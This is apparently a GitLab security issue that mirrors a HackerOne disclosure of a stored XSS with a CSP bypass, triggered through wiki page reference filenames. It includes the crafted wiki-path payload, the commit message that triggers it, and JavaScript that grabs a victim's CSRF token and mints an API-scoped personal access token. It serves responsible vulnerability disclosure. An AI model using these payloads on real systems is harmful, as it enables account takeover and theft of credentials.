A CSP-bypass XSS via wiki-page reference

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #3405832 by yvvdwf on 2025-10-30, assigned to GitLab Team:

Report | Attachments | How To Reproduce

HackerOne Analyst Summary

Summary of the Issue

This vulnerability is a stored Cross-Site Scripting (XSS) attack that bypasses Content Security Policy (CSP) protections through GitLab's wiki page reference functionality. The issue occurs because GitLab's WikiPage model uses a wiki's title (which is essentially the wiki's filename) as reference_link_text without proper sanitization. When this reference text is processed by the WikiPageReferenceFilter, malicious JavaScript code embedded in the wiki filename gets executed. The attack leverages a specially crafted filename containing iframe and srcdoc attributes to bypass CSP restrictions and execute arbitrary JavaScript code.

Steps to reproduce

  1. In an existing project on gitlab.com, or create a new project

  2. Add a new wiki page with the following malicious Path:

    <iframe-style=display:none-srcdoc="<a-id=SOURCEGRAPH_ASSETS_URL-href=../../raw/main/><iframe-src=/assets/webpack/sourcegraph/0.0.95/extensionHostFrame.html>">
  3. Add a .gitattributes file to the repository with the following content, then commit:

    *.bundle.js filter=lfs diff=lfs merge=lfs -text
  4. Add a file named scripts/extensionHostWorker.bundle.js to the project containing malicious JavaScript code (the reporter provided code that creates personal access tokens as a proof of concept)

  5. Commit this file using the following commit message that references the malicious wiki page:

    XSS in this commit
    
    here [wiki_page:<iframe-style=display:none-srcdoc="<a-id=SOURCEGRAPH_ASSETS_URL-href=../../raw/main/><iframe-src=/assets/webpack/sourcegraph/0.0.95/extensionHostFrame.html>">]
  6. Click on the commit link to view the commit page

  7. The JavaScript code executes automatically, demonstrating the stored XSS vulnerability Screenshot_2025-11-01_at_11.54.43_AM.png

Impact statement

This stored XSS vulnerability with CSP bypass allows attackers to execute arbitrary JavaScript code on behalf of victims when they view affected commit pages or other locations where wiki page references are displayed. In the proof of concept, the attacker demonstrated the ability to automatically generate GitLab personal access tokens, which could provide API access to the victim's account and repositories. In a real-world scenario, this could enable attackers to steal sensitive information, perform actions on behalf of users (such as modifying code, accessing private repositories, or exfiltrating data), hijack user sessions, or conduct further attacks against other users. The bypass of CSP protections makes this particularly dangerous as it circumvents a key browser security mechanism designed to prevent XSS attacks.

Original Report

A CSP-bypass XSS via wikipage reference

Hello,

WikiPage uses a wiki's title, which is basically the wiki's filename, as reference_link_text:

  # https://gitlab.com/gitlab-org/gitlab/-/blob/514de2d078425985af6805248dbaf8d3c6baf864/app/models/wiki_page.rb#L83  
  def reference_link_text(_from = nil)  
    human_title  
  end  

This reference_link_text is used latter by WikiPageReferenceFilter (via AbstractReferenceFilter) without any sanitization:

###  https://gitlab.com/gitlab-org/gitlab/-/blob/a3a2ca3915d53ebb2cd3c9521fc0d9e1e75064d5/lib/banzai/filter/references/abstract_reference_filter.rb#L275  
        def object_link_text(object, matches)  
          parent = project || group || user  
          text = object.reference_link_text(parent)

          extras = object_link_text_extras(object, matches)  
          text += " (#{extras.join(', ')})" if extras.any?

          text  
        end  

The following malicious wiki's file name can lead to stored-XSS:

<iframe-style=display:none-srcdoc="&lt;a-id=SOURCEGRAPH_ASSETS_URL-href=..&#47;..&#47;raw&#47;main&#47;&gt;&lt;iframe-src=&#47;assets&#47;webpack&#47;sourcegraph&#47;0.0.95&#47;extensionHostFrame.html&gt;">  
Reproduce

The following steps are to be reproduced on gitlab.com:

  • Step 0: In an existing project, or create a new project
  • Step 1: Add a new wiki page within the following Path:
<iframe-style=display:none-srcdoc="&lt;a-id=SOURCEGRAPH_ASSETS_URL-href=..&#47;..&#47;raw&#47;main&#47;&gt;&lt;iframe-src=&#47;assets&#47;webpack&#47;sourcegraph&#47;0.0.95&#47;extensionHostFrame.html&gt;">  

1.png

  • Step 2: Add .gitattributes file in the repository using the following content, then commit the new file:
*.bundle.js filter=lfs diff=lfs merge=lfs -text

2.png

  • Step 3: Add another file, naming scripts/extensionHostWorker.bundle.js to the project using the following content:
console.log("Demo: generate an accesss token");

async function exploit(){  
  const page_resp = await fetch("/-/user_settings/personal_access_tokens")  
  const text = await page_resp.text()  
  const csrf_token = text.match(/<meta name="csrf-token" content=".*?"/g)[0].split('"')[3]  
  console.dir("Got csrf token: " + csrf_token)

  const token_resp = await fetch("/-/user_settings/personal_access_tokens", {  
    method: "post",  
    headers: {  
        "X-Csrf-Token": csrf_token,  
        "Content-Type": "application/x-www-form-urlencoded"  
    },  
    body: "personal_access_token%5Bname%5D=hi&personal_access_token%5Bscopes%5D%5B%5D=api"  
  })  
  const token = (await token_resp.json()).token  
  console.log("Got token: " + token)  
}

exploit()  

then commit this file using the following commit message:

XSS in this commit

here [wiki_page:<iframe-style=display:none-srcdoc="&lt;a-id=SOURCEGRAPH_ASSETS_URL-href=..&#47;..&#47;raw&#47;main&#47;&gt;&lt;iframe-src=&#47;assets&#47;webpack&#47;sourcegraph&#47;0.0.95&#47;extensionHostFrame.html&gt;">]  

3.png

  • Step 4: Click on XSS in this commit link to open the latest commit
    4.png

  • Step 5: The javascript above is executed to create a new personal token as a demo of XSS

5.png

Impact

Stored-XSS with CSP-bypass allows attackers executing any javascript-based actions on behalf of victim.

Output of checks

This bug happens on GitLab.com

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

  • 2.png
  • 1.png
  • 3.png
  • 4.png
  • 5.png

How To Reproduce

Please add reproducibility information to this section:

Assignee Loading
Time tracking Loading